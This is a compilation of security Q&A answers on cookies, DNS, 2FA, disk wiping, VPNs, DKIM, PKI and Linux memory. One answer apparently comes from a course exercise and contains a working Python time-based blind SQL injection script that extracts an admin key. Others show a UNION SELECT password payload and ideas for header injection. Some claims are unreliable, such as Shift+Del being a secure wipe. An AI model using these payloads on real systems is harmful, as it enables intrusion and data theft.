If you're still logged in and leave your PC, without shutting the browser, it's likely that an attacker could grab the cookie just by using the browser.  If they only have access to your hard drive (eg, over a network), they may be able to get access to the cookie file, but it could be somewhat more tricky to exploit.

two-factor authentication may help in the scenario where someone steals a cookie while you're logged in, but while the session is ongoing it's likely there will be cookies on the machine which will provide access.

The safest bet is to ensure that you log out of all sessions before leaving your computer and also close the browser (a lot of session cookies are removed from the client when the browser is closed)


What's the difference between A and AAAA DNS records?

In DNS, we can have multiple answers and we called them Resource Records, shorten as RR.

Among the RR, there are A, AAAA, MX, NS,TXT,DS and many others. More details are available on this wiki page. The RFC1035 will also offer you some in-depth technical details (see the file header for more reading materials).

A resource record means IPv4 answer (or entry) for the said domain.
AAAA resource record means IPv6 answer (or entry) for the domain.


How to block web-sites from viewing browsing history within firefox?

They can't view your history as such, they can only create a "cookie" that identifies you on one site then observe that cookie when you visit other sites which they have access to.

Technically there's the do not track header, but this requires them to honour your preference and technically they might ignore it.

There's also extensions like Cookie Monster and Ghostery which allows you to physically discard cookies in certain conditions, such as when they're not for the site you're directly visiting.

Physically blocking the cookies is probably the most effective way to make tracking difficult, but plenty of legitimate functionality depends on cookies so you have to accept that your browsing experience may be degraded. Also, they could use other metadata such as your IP to track you, albeit with less accuracy.


synchronization of keyfob token generator

You miss one synchronization strategy:
If it's used semi-regularly (e.g. every few weeks), you only have to account for the amount of drift that can happen in a few weeks. Whenever you use a code, based on time and a secret key, to log in, the server first checks the accurate time code.
If the code for now doesn't match, it can trivially generate one cycle in to the future, and one into the past. If either of these match, we can be fairly certain that the clock of the token has drifted over a threshold. This fact is stored, as a offset. If the token is sending back replies that is 60 seconds late, we store that, and next time we try with that as the baseline.
Lather, rinse, repeat if token continues to drift. It does not allow huge drifts, but based on the number of codes in the past or future you accept, you can accommodate for as much drift as you need. It will weaken security a tiny bit.
Wikipedia says cheap quartz clocks approach 6ppm accuracy. Thus, we can expect them to be within 60 seconds of the server for at least 115 days. If we check two codes backwards and forwards, it can go for well over 200 days.
The allowed time window may be made as large as desired, perhaps based on last use, to allow for clock skew.


What is the difference between wiping vs deleting?

When you delete a file, the information is not immediately removed from the disk.  Instead, the OS/file system simply updates a database keeping track of files on the disk to acknowledge that the file is no longer needed and hides the file from being visible.  The information is only removed when, at some point in the future, the OS decides to use the space to store another file. That could be a few minutes later, or many weeks later, depending on how the computer is used.  Before then, the data is still recoverable using data recovery programs.

When you do a wipe (also sometimes called a secure delete), you are telling the operating system to not only update its file records, but also immediately overwrite the disk space with either zeros or random data, making it much harder to recover anything.

To do a wipe many operating systems support the key combination Shift+Del which will immediately overwrite the space the file occupied.  For maximum security though, there are many programs out there that actually fill the entire hard drive with random data and then delete the random data, sometimes more than a dozen times.  This makes it nearly impossible to recover any previously deleted files.  CCleaner, for example, is one freeware program that has that ability.

So to answer your followup questions:
1. Yes, it is usually quite easy to recover deleted (not wiped) data as long as it hasn't been too long since the data was deleted.  This is how most data recovery programs work.

2. That depends. If you do a single wipe (ie, you overwrite the space once with random data), you're probably not going to be able to recover anything with standard data recovery programs anymore. However, skilled investigators may still be able to recover the data by putting your hard disk platters under an electron microscope to determine what was originally there, as overwrites are not always completely clean.  It's like erasing a letter with a pencil and writing another letter over it; sometimes you can still faintly see the original letter.

If you do multiple passes with a very secure wiping algorithm though (like DoD, which overwrites the data 35(!) times), even this becomes unfeasible.


Can my ISP see which VPN protocol I am using?

Yes, probably. Most VPN protocols are not designed to hide the fact that they're VPN protocols, nor what kind of protocol they are. See for instance this paper which details fingerprinting OpenVPN.
If you run all your traffic through a VPN, the fact that you're using a VPN is quite easily visible - as all traffic will be destined for a single destination - which is quite unlike normal usage patterns.
If you're interested in hiding the fact that you're using a VPN, and what VPN, you should probably look into what's used in totalitarian states, such as China, which routinely blocks all attempts at VPNs out of China. Tor is one such system.


Use DVWA or Mutillidae, get them to fix the code, then demonstrate pre/post fix behavior? Perhaps a little more complex than you were thinking, but it would also prove their coding ability.

Or, if this is too much, get them to go through DVWA at lowest security settings, looking for certain data? (get usernames, login without creds, etc.) You could even reduce the quiz to asking a single question? "What is the admin's password?" It won't test their coding knowledge, but how to test for insecure coding practices.

Full disclosure: I have not used these as a quiz.


Why doesn't Gmail make it clearer that emails have been signed by DKIM and delivered over TLS?

TL;DR: Mail delivery using TLS and signing using DKIM are weak protections, compared to accessing a web site using HTTPS. They should not be assumed to provide the same security and the indicators better  should not suggest such interpretation.

... delivered over TLS?

Mail is delivered hop-by-hop between client and final mail server, i.e. there are multiple servers in between. TLS cares only about protection between these hops, not on these hops. Each of these servers has access to the plain unencrypted mail. The indicator in GMail shows only if the last hop of delivery was done over TLS - and this is all what the final mail server can control.
Because of this hop-by-hop even a TLS indicator does not  mean end-to-end protection of the email, i.e. from sender to recipient. Contrary to this HTTPS is end-to-end protection from browser to server. See TLS encryption email for more on this.

...  signed by DKIM

DKIM does not provide a cryptographic signature created by the sender - this would be done instead using PGP or S/MIME. DKIM is done instead by a mail server on the way. All it shows that the mail was (mostly) unmodified on the way from this mail server to the final mail server. It does not indicate that the mail was sent by a specific user, nor that it was unmodified between sender and DKIM signing mail server.
Note also that DKIM actually allows modifications of the mail. Depending on the method changes in white space are allowed but there can also be changes which completely change the interpretation of the mail - see Breaking DKIM - on Purpose and by Chance for more on this.


Will hacking (pentesting) a live website from a VM improve or hinder my hacker anonymity?

A very common and highly-modernized attack is running AntiDetect on FraudFox. Criminally-minded adversaries discuss using these tools on leakforums, among other dark corners of the Internet. Obligatory video here -- https://www.youtube.com/watch?v=ZQN7CyCXh90

FraudFox is a guest VM used to hide digital fingerprints. More information here -- http://www.infosecisland.com/blogview/24258-Can-Hackers-Use-FraudFox-VM-to-Defeat-Your-Fraud-Prevention.html


Why does not Referer header use “same-origin” by default?

Referer is a really old HTTP request header which is much much older than the idea of a Referrer Policy. In fear of breaking things the default behavior is the traditional one, i.e. nearly always on. Keeping the old default even if it is considered bad is a theme which can be seen with many security and privacy improvements in web development, for example with Content-Security-Policy (default: allow everything, which makes XSS possible) or the Cookie flags Secure (default insecure), HttpOnly (default: can be read from JavaScript, thus making session stealing using XSS possible), SameSite (insecure default helps with CSRF) etc.


What is the difference between Heuristic-based and Behaviour-based virus scanning?

Though Heuristic detection  is heavily use in computing, it is easier to learn the layman heuristic used in judgment and decision-making. Heuristic is first used by Amos Tversky and Daniel Kahneman to study human behaviour, to learn why human course of action base on particular criteria.

In layman term, Heuristic-based and Behaviour-based virus scanning is the same thing.

Preliminary heuristic based scanning will check files/script attributes/pattern or so call "behaviour/actions"  to decide whether it is safe or malicious. So if the code are obfuscated, preliminary heuristic may miss it. So some background process is required to observe what the program will do during execution, stop it when it show some bad behavior. So some people call this as "behaviour scanning/checking".

While in fact, such active file execution still base on a set of heuristic to react. Most malware analyst just use the term "static analysis" and "dynamic analysis" to differentiate the two mechanism.


/var got mysteriously renamed in /var.1 on CentOS6 server

So, after some log perusal, it turns out no foul play was involved. Somebody made an editing snafu in a logrotate config file, about 15 days ago, for a monthly rotation
( var log /stuff instead of /var/log/stuff). As luck had it, it kicked in during the DDOS, clouding the picture - though, in truth, the var**.1** thing should have given me pause much sooner. Thanks to all who bothered.


Fixing large number of SQLi, XSS, RFI/LFI in a PHP application

There are web application firewalls out there that do the type of thing you are talking about.

IMHO, who ever owns this website needs to bite the bullet and make an effort to actually secure the website instead of taking another half assed approach.

If dropping big bucks on hiring a security consultant to perform a security audit on the site is not a realistic option, it is possible for a committed web developer to perform a security audit on a site and fix any vulnerabilities found. Obviously a professional would be a better option, but if that isn't realistic, many developers can do a descent job given the proper guidance.

If this is a route you are willing to go, I would suggest getting a copy of The Web Application Hacker's Handbook (there are many other good books, but I personally liked this one).  In addition to going into detail on how the various attacks work and how to protect against them, it also provides a systematic approach to finding all security vulnerabilities on a web site in the chapter titled, "A Web Application Hacker's Methodology".

Reading this book and performing a security audit will increase your security awareness/knowledge significantly.  A must for any serious web developer.


Websockets: Is it safe to allow tokens in url parameters?

When Websockets layer on top of TCP and handshakes are being maintained by HTTP before switching using 101 response, it is not safe to allow tokens in the URL parameters since it gets logged in the server just like how an HTTP request would do.


What is the weakness of OFB in 8bit mode?

As explained in note 7.24 of the Handbook of Applied Cryptography, the weakness is that using less than a full block of feedback means that the algorithm will use, on average, a shorter cycle; and since OFB generates a key-dependent stream which is to be XORed with the data to encrypt, you really do not want to cycle, because that would put you in the position of the infamous two-times pad.

Now the average cycle length would still be around 264 bytes for a 128-bit block cipher like AES, so this should not be a really serious practical issue (264 bytes is still quite huge, counted in millions of terabytes). Yet this is sufficient to declare that OFB is always inferior to CTR mode. Since OFB with 8-bit feedback is also quite slower than CTR, there is no good reason to use it.


How to provide two factor authentication code text messages, so that they are not shown on the lock screen?

Two-factor authentication means that you prove two things. In most cases, the two things are "something you know" and "something you have". In your case, the "something you know" is the user's password, which they must get correct before the authentication code text will even be sent. The "something you have" is then the phone, which will display the authentication code. If you were to force the phone to be unlocked before displaying the authentication code, you've added an additional "something" they must know (the phone's PIN), but this isn't an additional factor, since they already must know the account's password. Further, if an attacker has the phone, they can just take the SIM out and put it in their own phone, receiving the text and bypassing the phone's PIN that way. As such, implementing your suggestion would annoy and inconvenience users for only a negligible gain in security.


In a company is it good to have a back door account?

First of all, I would not call that a backdoor. A backdoor usually refers to methods of bypassing normal authentication, which would not include an Administrator account owned by IT. Nearly all corporations I have worked with have the IT department own the Administrator accounts and functions for all workstations and servers in the environment, whereas the end users just have unprivileged "normal" user accounts. There are a number of reasons for this:

This prevents end users from installing unauthorized applications on company owned devices.
Administrative functions, such as patching, can be centrally managed and ensured that they are applied in a timely manner.
When an IT services employee has to work on a device, they do not need the end user to be there.
Very Important: End users should be trained to NEVER give out their passwords, even to IT employees. It sounds like where you work, this is common. Above all, I would recommend an awareness campaign informing your employees to never give out their passwords to anyone, and make doing so against your corporate policy. This behavior completely invalidates your second bullet under your con section, and an employee can claim they gave their password to an IT person if anything "went wrong". Additionally, social engineering is the #1 way an outsider is going to get into your network... frankly, just flat out asking people for their passwords is quite effective in an environment like yours, even as a non-employee.

Eventually, you may want to look into an Identity Access Management (IAM) solution. If you purchase the right tool, the IAM solution manages all the administrator password in the environment, and each device has a different randomly generated password set. Any IT person that needs to work on a device must first log into the IAM solution with their credentials, "check out" the administrator password, and when done, "check it in". Once checked in, the solution will connect and change the admin password on that device, so only it knows the current password. If anything "wrong" occurs, you know the capabilities of the non-admin end user, and you can check the logs of the IAM system to see who had the admin password checked out for a particular device at the time to determine who caused the problem.

EDIT 7/27: Just to explain more regarding your below comment - small companies, such as a grocery store with 1 computer, generally have no data worth protecting (assuming credit card data isn't running through the PC), and so there is little reason to enforce an unprivileged user. Plus, grocery stores usually don't have dedicated IT folks supporting the single PC.

Large corporations, on the other hand, have significant amounts of data worth protecting. Forcing all users to run as an unprivileged user is a security measure to protect the company. Users are not security experts - they tend to download random software off the internet and install it. Often, this software has been backdoored by malware. Developers are famous for doing this, as they often like to "test" new tools. At best, this leads to an increased attack surface, at worst, the whole company's domain has been compromised.

Why do you believe developers need to be administrators to develop code? Speaking as a past developer, that is completely untrue. There is no reason to be a local admin to test/qa code. There should be a defined deployment process so that once a developer is done packaging an application, it can go through the corporate deployment/patching/update process to get pushed to the PCs that need it (initially, the qa testers). After the code makes it through testing, and is approved, it goes through the same process to be pushed to the rest of the company that needs the software installed to fulfill their job function.

That said, I am speaking about a more mature IT organization. It takes years to get there if you are starting from where it sounds like you are. Start small. End user/non-IT employees don't need to be administrators. Limit it to just IT initially. Develop your processes and procedures. Take a software inventory to determine what software is critical to the business. Eliminate everything non-necessary. Everything necessary becomes the "approved software" list. Anything not on that list, you will need an approval process to get put on that list. Continue making small, incremental changes, until you end up with a mature, and secure, IT organization.

Don't take my word for it:

Here is a nice, short article from Microsoft explaining why it's important
Limiting the use of administrator is in the SANS Top 20 security controls list
Here's another blog post on the topic
And a news article giving a good reason for doing this, titled "90 percent of Windows 7 flaws fixed by removing admin rights"


Is it possible to hide your MAC address before connecting to open wifi?

You are going to want to research Public vs Private IP address.

Note: Before you connect to their network you have NO ip address(assuming you are not connected to another network at that time).

Let's say you are at a coffee shop and you want to connect to the Wifi. The coffee shop has a public ip address and when you connect to the Wifi hotspot, it is going to assign you a private IP address. This private IP address can be assigned to a different user later when you are done using it. So when it comes to hiding your identity before connecting to a Wifi hotspot you are going to want to change your MAC address also called MAC spoofing. (Note: MAC addresses work at Layer 2 and IP addresses work at Layer 3).

This is because some Wifi hotspots or businesses can keep track of which MAC address was assigned to which private IP address and since MAC addresses are unique to every device, they can use this to associate  your computer being connected to that private IP at that time.

Also research Layer 2 vs Layer 3 in the TCP/IP hybrid model.

Hope this helps!


Find vulnerability in node.js web service to reveal secret key for admin

The application seems to be resilient to malformed SQL queries and does not output error information directly to the user. So, if the application will not explicitly output the stored key, then we should aim at retrieving it by other means.

A more subtle SQL injection technique is that of timed SQL queries: In order to gain information about what's stored in the database, we will ask queries that takes "long" time to execute if successful, otherwise they terminate "fast". The definition of successful depends on the application, but it would normally mean that our query returns a result. Also, "fast" and "long" execution times are parametrized by the application.

Now, since you know the database is an SQLite database, we should look for a function that would take "long" to execute. Some databases have the canonical choice of SLEEP() available, but SQLite does not provide such functionality. Instead, we could rely on the RANDOMBLOB(), which generates a sequence of random bits.

How long does RANDOMBLOB() takes to execute? Well, this should be measured by the attacker, and the resulting measure will (partly) determine the meaning of "fast" and "long" execution times. Indeed, it would be more accurate to use the SLEEP() function, but RANDOMBLOB() will suffice for our purposes.

Another function that will prove useful in extracting the key is SUBSTR(): We extract the key character-by-character with a "long" response meaning success, while a "fast" response means fail.

Since, we know that admin is guaranteed to be in the database, we send a POST-request with the following value for username:

"admin' AND substr(key,{pos},1) == '{ch}' AND 1 == randomblob({size}) --"

This string gets substituted for user by the application in the query string:

 "select * from users where username='" + user + "'"

This is turn yields:

"select * from users where username='admin' AND substr(key,{pos},1) == '{ch}' AND 1 == randomblob({size}) --'"

Indeed, we see that if ch match key at position pos, then RANDOMBLOB() gets executed and the response will take a "long" time to arrive. Otherwise, the response will arrive "fast".

A Python script to extract the secret (PGP) key:

Be aware that it might be necessary to adjust the timeout parameter according to server load and execution time of RANDOMBLOB().

import requests
import socket
import string

url = 'http://lbs-course.askarov.net:3030/reset'
timeout = 6
size = 1000000000
key_len = 1000
rounds = 3

def main():
    key = ""
    for pos in range(1,key_len+1):
        for ch in string.printable:
            try:
                if test_key_index(pos, ch):
                    print("[INFO] Found key position {pos}: {ch}".format(pos=pos, ch=ch))
                    key = key + ch
                    break
            except KeyboardInterrupt as e:
                print("[INFO] Partial key obtained: {key}".format(key=key))
                return
    print("[INFO] Partial key obtained: {key}".format(key=key))

def test_key_index(pos, ch):
    query = "admin' AND substr(key,{pos},1) == '{ch}' AND 1 == randomblob({size}) --".format(pos=pos, ch=ch, size=size)
    #print(query)
    post_fields = {'username': query} # POST fields
    for _ in range(rounds):
        try:
            response = requests.post(url, data=post_fields, timeout=timeout)
            return False
        except requests.exceptions.Timeout as timeout_e:
            pass
    return True

if __name__ == '__main__':
    main()

Hope this helps!


What is the origin of the three factors of authentication?

The origin of three-factor authentication paradig is unknown, but one thing is for certain: it predates mankind. Controversial? Let's see. Ask yourself, how does e.g. a father gorilla recognize a newborn cub as being one of his offspring, even if its mom is not around? By something it has - a smell of its mom. Something it knows - the distress call. Something it is - a newborn gorilla cub. So, we have a newborn gorilla cub that's calling in distress the way gorilla cubs do, and smells of its mom, the way she did when father gorilla mated with her. That's a three-form authentication, and as far as nature is concerned - it's good enough. Does it predate gorillas? Sure. Any animal species that exhibit certain amount of social responsibility, and/or their behavioral patterns dictate the need for such identification of its members would - by this necessity alone - have similar methods in place. Or such goes the Darwinian explanation.

But what about its etymology, the origins of this phrase as us humans use it? The answer is, that we don't know for sure who exactly coined this phrase first, or indeed when. The phrase describing this method of authentication was probably changed many times throughout history, but its modus operandi remained the same. One example of three-form authentication - that would be used in early days of our civilization - would have been in use with military couriers, or diplomatic envoys. Their messages would face authentication scrutiny that is sufficiently confirmed by a three-form authentication. Messengers would be required to know something (password), have something (a recognizable seal) and be something (e.g. a member of some tribe), before they would be allowed to deliver their message to its intended recipient. I believe it's relatively safe to assume, that we do have historical records of such authentication methods being used, that they were described by various names, and that we can not tell with any degree of certainty who could hold a claim to its first use.


Security controls around data in motion?

Memory protection schemes(DEP,ASLR,etc), I/O protections(e.g. guards against write-corruption), buffer/cache clearing, etc are a couple examples of controls to protect data in motion.

Basically: any controls that are concerned with maintaining data integrity and security while it is resident within a computer system but not at rest, rather than while it is transiting between systems, is a control for data in motion.

Think of defending against Spectre versus defending against a network MitM attack.

To address the observations in the linked article; yes, data in motion controls are not usually concerned with cryptographic protections.

As an example data flow:

[data on disk](at rest) >>
[program reads](now in 'motion') >>
[prepares to send over network](still in motion) >>
[sent data now "on the wire"](in transit) >>
[received by other system](now in motion again) >>
[writing to disk](still in motion) >>
[written to disk successfully](now at rest)


Yes, they are the same thing.

To be more technical, the hex code at the top is "machine code" and what you see at the bottom is a human-readable representation of the machine code which you know to be called "assembly code". The machine code format isn't there to hide the payload - it is the payload. It is literally the the 1s and 0s that a computer would process to run this shellcode. It is just written as hex for convenience.

A shellcode author would typically write the shellcode in assembly and assemble it into machine code using an assembler program like nasm on linux. Although assembly code corresponds to machine code directly (more or less), your computer's processor only runs machine code.

If you want to learn more about using shellcode I recommend Hacking the Art of Exploitation as a good place to start.

There are encoders that can be used to obfuscate shellcode. Many are included in the Metasploit suite. A popular one is Shikata Ga Nai.


how can I stop someone from watching my internet history?

Use a VPN to a trusted endpoint, or at least visit only sites over HTTPS.  (There he'll still be able to know which servers you connect to, but not which pages you request.)  You could also consider using something TOR to tunnel all your traffic (as it also encrypts all traffic).


Is a random number secure (enough) for card numbers and pins?

If the numbers are random, the attacker has nothing to work with, and you can trivially calculate his probability of guessing a correct combination.

If you have some kind of brute-force prevention triggering well below the level where a random guess has a reasonable chance of success, you should be good.

I would agree that any kind of logic would give the attacker more to work with. If you create a large number of such tokens, you might want to add some extra processing to ensure that no two randomly generated numbers are too close to each other (to eliminate typos, maybe even to allow one typo as a convenience - all depends on the length, etc.). With a low number of tokens, I wouldn't bother unless their value is very high.


Filtering Obfuscated Spam Emails In Exchange

After some serious digging we were able to find a solution to this problem. The UTF-8 encoding that we were seeing specifically =E2=80=8B encodes to a no width space. This is used to bypass the filter by breaking up text but still look normal on the recipients end.

Filtering It Out

We were able to copy the character from this website:

  https://codepen.io/chriscoyier/pen/iLKwm

We pasted this character into exchanges filtering rules and it was able to detect and properly filter the encoding. Be warned this character is fairly common in day to day emails apparently so if you are going to filter based off of this character be sure to send it to a moderator do not just delete it without notifying anyone.

Hope this helps some people as this took a lot of work to figure out.


Using digital certificates in digital signatures

You claim:

  digital signatures are used to verify the trustworthiness of information.

This is right, at least for some interpretations of "trustworhtiness". Actually, a digital signature can be used to verify that the information has been created by some entity having access to the private key to the public key referenced by that signature, and has not been modified since. (If the hash used is not collision-resistant enough, like MD5 nowadays, the entity with access to the public key might create two documents that can be swapped after signing without noticing by you.)

You also claim:

  Digital certificates are used to verify the trustworthiness of a website

Which needs a bit generalization: It is not just for "websites", it is for any case of entity. And again, you need to define what trustworthiness really means. A digital certificate enables you to verify that some entity that proves to you to posess some secret key, to be the entity they claim to be.

The picture on Wikipedia shows one process of sensibly dealing with signatures. The document author signs the document, and needs to use the secret key for that. The receiver needs the public key to verify the signature. If the receiver knows the public key of the sender, everything is fine, no need for a certificate. But if the receiver does not know the sender's key beforehand, it needs to make sure that the key does indeed belong to the sender. The receiver thus needs a way too verify the identity of the entity creating a signature. A certificate (issued by a trusted third party) is a great way to provide the proof of identify. Bundling the certificate with the message provides the certificate to the receiver just in time when it is needed to verify the message.

Bonus: Actually, the statement "the private key belonging to the public key with a hash of $HASH belongs to $ENTITY", which a certificate should prove, is information. So a signature can be used to verify its trustworthiness. And indeed, certificates are signed.

On the signature of a certificate needs to be made by some entity, so how do you verify whether that certificate has really been issued by a trustworthy entity? Well, there are two ways: Either, you know the entity and its public key, so you can verify the signature on the certificate. Or the you don't know the public key, and then you need a proof that the signature on that certificate has really made by that third party that is claimed to have made it. How do you do it? By having that third parties key being certified again by another party.

The result is certificate chains: Each certificate contains a signature. To be able to use the signature, a certificate certifying the issuer of the certificate is attached. You repeat this process until you can trace a key to a party you trust. The difference between centralized PKI (like X.509) and peer-to-peer PKI (like PGP) is that in centralized systems, all participants agree to trust a certain set of "root certificate authorities", while in Peer-to-Peer-systems, every participant can choose the roots of trust itself. The consequence is that in centralized systems one signature on every certificate is enough, while in peer-to-peer systems you likely want different parties to "sign your key" (i.e. issue a certificate that the key belongs to its claimed owner) to increase the likelyhood that communication partners find a way from your key to a root they trust.


A server can use a self-signed certificate to identify itself.  Clients then have to trust this certificate when they connect or use the server's service.

In PKI infrastructure you normally don't have the CA generate the key-pair unless its the root certificate.  Clients and intermediate CAs will generate their own key-pair and use the CSR to have the root certificate sign it.  A CA doesn't generate certificates itself because then how can you trust that the CA hasn't kept the private key for itself.  This breaks down the PKI infrastructure.

CAs like Symantec/Verisign or GoDaddy generally don't offer services to generate the key-pair for you.  Due to reasons in the previous paragraph.  You send them a CSR with the information for your certificate to be signed.

See my answer here for more details.


What is the Ethics and Legality of Grabbing Data from Social Networks to aid a Pentest?

Legality depends on local laws that will change and are subject to interpretation.  Best to consult a local lawyer who specializes in these matters.  For example, data privacy law in the EU is quite strict about notifying people before aggregating data about them.

Ethically, its best to have been given explicit permission by the individuals to aggregate their information before doing so.  In your scenario, its probably best for say your client to give you permission to aggregate the specific data about their employees for your pen test purposes.  For your client to ethically give you permission, they should have previously explicitly obtained permission from their employees that included letting third parties (such as yourself) aggregate the data for these sorts of purposes.


No.  Whatsapp, Signal, and other secure messaging systems use end-to-end encryption.  You can read more about the underlying algorithm here:
 https://en.wikipedia.org/wiki/Double_Ratchet_Algorithm.

That being said, if you are using a work computer which your employer controls, your employer may be able to read your messages on your local machine before your messages are sent and encrypted/after they are received and decrypted.


Look for when the last patch was applied, and then look for Linux privilege escalation vulnerabilities that are not patched. Most of the Linux privilege escalation vulnerabilities affect multiple distros.

In this case, Linux kernel 2.6.33.3 seems very old, so public exploits such as "dirty cow" (CVE-2016-5195) may work.

Other methods may involve brute forcing the admin password.

https://www.sans.org/reading-room/whitepapers/testing/attack-defend-linux-privilege-escalation-techniques-2016-37562


Forgot Password? - sends email with plaintext password

I definitely think it is worth telling the company how you feel regarding how they handle your privacy. I am sure management often times doesn't know the technical details or implications of password storage policy.

I have run into this twice with mixed results:

T-Mobile: They text you a plaintext password to your account portal when you submit your telephone # to the lost password link. They were not interested in hearing about the problem.
Jimmy Johns: The forgot password form was sending plain text passwords via email. I questioned the practice, and they apologized and immediately implemented a password reset code instead. I don't know whether they started hashing passwords.

It is horrible practice, and I encourage anyone to put pressure on companies doing this.


QES AdESQC TL based Signature Validation Policy

The "QES AdESQC TL based" policy is the default policy used if none are specified. You can find that default policy in the DSS library under "source/main/resources/constraint.xml" in the dss-policy-jaxb library.
It looks like the default policy follows the recommendations as defined by the ETSI regarding digest and encryption algorithm expiration dates which is probably best practice if you are doing anything with signing for official instances. This file can also be used as a template to create your own policy if required.


The vast majority of databases do not allow query stacking.  In MySQL,  there is mysql_multiquery(),  which which allows query stacking and is almost never used.  So how do hackers exploit the vast majority of sql injection?   Using a simple Union Select!  As a pentester this is what I use more than anything else.

What SQLMap is saying is that your injecting into a query that looks like this:

select question from teachers where crouse='Course'

In order to exploit this query SQLMap needs to use a union select,  in order for this to be a valid query both select statments must have the same number of columns:

select question from teachers where crouse='Course' union select password from mysql.user-- '


Arbitrary query parameter reflected in server response header. Is it exploitable?

This may be a real problem.
By definition the HTTP response Headers are usually trusted. In a context with some reverse proxy caches between you (the browser) and the 'faulty' server you may be able to do bad things on the reverse proxy caches (or http load balancers, ssl terminators, etc.).
You may be able to generate cookies from this server with GET arguments (like &set-cookie=phpsessid=something;httpOnly=false;SameSite=none).  But that's maybe not the biggest problem.
You should look at the behavior on existing headers. If there is a Content-Length header on the classical response, what happens when you add a &content-length=0 argument on you query (or another size). Is this header added, is it replacing the existing one?
What happens if the response is chunked (Transfer-Encoding: chunked) and you add a Content-length header on this response? Or the contrary.
This could become even more fun if you have a way of uploading files on the server. Because you could control the body of the response. You could add http responses in that body, enter the HTTP Response Splitting issues (HTTP Smuggling).
You could play with partial-Content queries (hide html in parts of uploaded images, in EXIF zones), forge stranges responses, try to alter any header related to the message size (transfer-encoding, content-length) or the mime type.
So, in terms of cache poisoning or http Desync it could be a real issue.
HTTP response headers should not be controlled by the client, the protocol is not made for that. Just look at all issues coming from CRLF injections, here you have the same vector (control over http headers in the response) but you do not even need to inject CRLF characters (but in CRLF injection you can inject the double CRLFCRLF to start the body here you cannot).


It's not that simple.

With the huge number of platforms on which the program could have been built, it can be extremely difficult to replicate the original build environment.  Because of this, you could be using a different compiler, with different settings, using different versions of libraries.  These slight variations in the environment can definitely affect the compiled binary.  Of course, if the author is willing to specify their build environment precisely, or if you're lucky (different languages can affect this) it could be possible to rebuild the exact same binary.

For a recent situation in which this was an issue, see TrueCrypt, an open-source-ish0 full-disk encryption program.  When the TrueCrypt site was abruptly replaced with an announcement declaring the unexpected end of the TrueCrypt project, people were obviously interested in checking the code.  However, different people building TrueCrypt often got binaries that differed wildly from the official build, owing to variations in the build environment.  One person apparently managed (after some arduous work in recreating something very close to the original environment) to replicate the TrueCrypt build from scratch with only slight variations in the compiled output.1  Of course, it's not possible to verify this yourself unless you're willing to attempt the same thing.

Of interest on that page is the fact that the binary contains a timestamp of the compile time.  This alone means that compiling and comparing the hashes would never work.

0: TrueCrypt has a strange license with some issues; it's not certain whether it would actually be safe to fork the project.

1: Actually, it looks like they did this before the TrueCrypt site strangeness, but have since succeeded in replicating the version 7.2 build as well.


What is the attack scenario against which encrypted files provide protection?

File-level encryption can be useful in several cases, here's a few examples:

Sending data over insecure channels. You mentioned TLS, and that's enough when you have it. But what if you aren't sure every node actually uses TLS? And do you really trust every node? Think about emails, for example.
Storing data in untrusted places. You might trust your encrypted external HDD, but what about Google Drive? What about your hosting provider? If you want to be sure that nobody else is able to access your files (Google, employees at your hosting provider, cyber criminals who manage to breach those service, etc.), you will need to encrypt your files.
Defense in depth. Full-disk encryption will protect your data when your machine is turned off, but what if an attacker grabs your laptop while it's on? What if your machine gets infected and before you notice all your sensitive files are sent to the attacker? With file-level encryption, the attacker won't have access to the content of your sensitive files right away, so such attacks might fail.


Is it safe to automatically parse text as markdown?

It depends on how the parsing and conversion software works.  Although markdown is mostly text, one can insert html code into markdown.  By markdown standards, a markdown parser usually can support the rendering html code.  Basically, if the e-mail has html code in plain text, the markdown converter may copy that text into markdown directly (with no formatting if the text is not formatted).  This may cause html to be parsed from the markdown file.   [1]
I am not sure if you will be using two different or just a single software to convert from text e-mail to md(markdown) to pdf.  However, I do not think that may make a difference.  The only vulnerability I can think of is at your end, where the md to pdf converter may parse the md when converting (which may have html content).  If the converter does not do parsing but just looks at the md file, then there may not be any issue, as there is no way to have dynamic HTML rendered inside a PDF file.
The only vulnerability I can think of relating to html inside of md, is where the html code has an <iframe src="virus url"></iframe>.  This may cause your md to pdf converter to download a virus on to your computer.
This is one of the reason why some html elements don't get parsed and are removed from GitHub README.md markdown files.  [2]


Connecting to my VPN via IP or domain name?

TL;DR: They can get the VPN IP anyway. Use DNSCrypt.

There is actually a bit better solution to hiding your DNS requests, using DNSCrypt. Of course, you need to find a DNS server you trust that supports it. This can be in addition to VPN.

As for point 3, yes. If the people spying on you can spy on your servers connection, then they will see your traffic and it could be arguably easier as that VPN server is probably easier to associate with you than a random public wifi connection. On the other hand, this depends on where your VPN server is, as foreign countries would not be able to simply spy on a server in your home country (maybe? hopefully? Paranoia kicking in...).

As for using vpn.mydomain.com to get IP of your DNS server, it is not really relevant. Attackers inspecting your traffic will most likely be able to say, that you are connecting to a VPN and get the VPN IP directly.


It depends on what you mean by "kernel process".

In Linux, each process has its own address space, which is embodied by the MMU and its configuration table. Roughly speaking, at any one time, the MMU is configured to find information about pages (where each page from the address space is in RAM, if it is present at all, and the access rights) in tables located at some address in physical RAM (details vary depending on the architecture, but in 32-bit x86 the CR3 register is used for that). When the CPU switches from one process to another, it changes that configuration (i.e. before granting control to any process, the CPU loads the CR3 register with the right value for that process). mprotect() is the API provided by the kernel to applications (along with mmap()) to modify these tables. It is important to note that the mapping is many-to-one: each page in the address space is mapped to a physical page (or to "none"), but several pages in the address space can point to the same physical page, with access rights which need to be equal.

This means that if a process uses mprotect(), then it modifies its own set of MMU tables, and the other processes are unaffected. If a process alters the access rights to PROT_NONE for a page it sees, and some other process also sees the same physical page in its own address space (through some shared memory setup), then the second process can still access the page.

Note that when a process does a system call, the CPU jumps into the kernel space and obtains kernel-level privileges, but the MMU is not affected (well, in fact it can be, depending on the architecture and kernel version; normally, each page is mapped twice, with one mapping accessible only with kernel privileges, so that the kernel may write into RAM which is, from the point of view of the process, absent or read-only; however, things can become a bit more complex on 32-bit x86 because the double-mapping implies a restriction to at most 2 GB of address space per process, and recent kernels have some tricks to go to 4 GB per process, basically by switching MMU mappings when entering the kernel; let's not confuse the situation any further with such details). So the code for the system call executes with the mapping as the calling process sees it (albeit with kernel privileges).

Kernel threads, sometimes known as kernel processes, are something different. These are processes without RAM. They run with kernel-level privileges and occupy a slot in the scheduler, but they don't have an address space of their own. Being threads, they are occasionally granted the CPU (that's the point). However, since they don't have an address space, they don't incur a MMU table switch when they are activated, which is a blessing because MMU table switches are expensive (because of TLB flushes). So kernel threads basically run in the address space of whatever normal process was last running.

